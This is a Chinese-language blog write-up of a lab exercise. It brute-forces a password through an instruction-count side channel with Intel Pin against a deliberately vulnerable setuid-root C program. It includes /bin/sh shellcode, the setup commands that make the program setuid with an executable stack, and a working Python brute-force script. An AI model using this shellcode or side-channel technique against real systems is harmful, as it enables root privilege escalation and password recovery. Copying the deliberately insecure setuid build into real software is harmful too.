pintools测信道爆破

clev1L Lv3

源代码

将下面代码编译成可执行文件,进行攻击实验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//sidechannel.c
//s.pass root只读
//S1deCh4nnelAttack3r
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
FILE *in = 0;
char pass[20]="";
unsigned int i=0, j=0;
unsigned short correct=0,misplaced=0;
unsigned short pwlen=strlen(pass) - 1, inlen=0;
if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19)
return 1;



in = fopen("s.pass","r");
pass[fread(pass, 1,19,in)] = 0;
fclose(in);

for (i = 0; i <= inlen && i <= pwlen; i++)
if(pass[i] == argv[1][i])
correct++;
else
for(j = 1; j < pwlen; j++)
if(argv[1][i] == pass[(i+j)%19])
misplaced++;

if(correct == 19)
((void (*)()) argv[2])();

return 0;
}

编译

1
2
3
gcc -m32 sidechannel.c -o sidechannel -z execstack
sudo chown root sidechannel
sudo chmod 4755 sidechannel

s.pass中存放密码

可以先测试能否正常执行shellcode

1
./sidechannel S1deCh4nnelAttack3r $(python2 -c "print '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

测信道爆破密码

分析源代码

将命令行参数传递的密码和s.pass中给定的密码逐字节比较,如果相等计数器++,否则多执行红框中的代码。

pintools

开源的指令集插桩工具,可以在每条指令前插上计数器,统计程序运行总共执行了多少条指令

下载pintools源码

https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-binary-instrumentation-tool-downloads.html

编译

1
2
3
4
tar xvf pin-external-3.31-98869-gfa6f126a8-gcc-linux.tar.gz
cd pin-external-3.31-98869-gfa6f126a8-gcc-linux/source/tools/ManualExamples
make obj-intel64/inscount0.so
make obj-ia32/inscount0.so TARGET=ia32

看到如下文件则成功

利用pintools,对密码每一个字节遍历printable,统计执行指令条数,显然如果当前对应字节正确,则会少执行红框中的代码,执行指令条数更少。找到执行指令最少的就是正确的字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import sys
import subprocess
import argparse
import re
from tqdm import tqdm

#给定的密码范围3
printable="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

#编译好的pintools插桩计数器
PIN = "/home/mjw/pin-external-3.31-98869-gfa6f126a8-gcc-linux/pin"
INSCOUNT = "/home/mjw/pin-external-3.31-98869-gfa6f126a8-gcc-linux/source/tools/ManualExamples/obj-ia32/inscount0.so"


def pin(file,passwd):
try:
shellcode='\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'
#用pin运行程序,获取指令数
command = PIN + " -t " + INSCOUNT + " -- " + file + " " + passwd + " " + shellcode + " ; cat inscount.out"
output = subprocess.check_output(command, shell=True, stderr=subprocess.PIPE)
except:
print("Unexpected error:", sys.exc_info()[0])
raise
#匹配指令数,并且返回
output = re.findall(r"Count ([\w.-]+)", output.decode())
return int(''.join(output))


file="/home/mjw/Desktop/sidechannel"
base=""

#遍历密码各个字节
for i in range(19):
#统计指令数
counts=[0]*len(printable)
#遍历printable
for j in tqdm(range(len(printable))):
try_data = (base+printable[j]).ljust(19, "0")
count=pin(file,try_data)
#记录字符对应的指令数
counts[j]=count
#找出指令数最少的字符
mincount=min(counts)
minidx=counts.index(mincount)
base+=printable[minidx]
print(base)

获得结果,完全正确,但是因为每条指令进行了插桩,运行速度慢,每个字节约要3min

  • Title: pintools测信道爆破
  • Author: clev1L
  • Created at : 2025-02-23 12:28:48
  • Updated at : 2025-02-23 12:29:57
  • Link: https://github.com/clev1l/2025/02/23/pintools测信道爆破/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments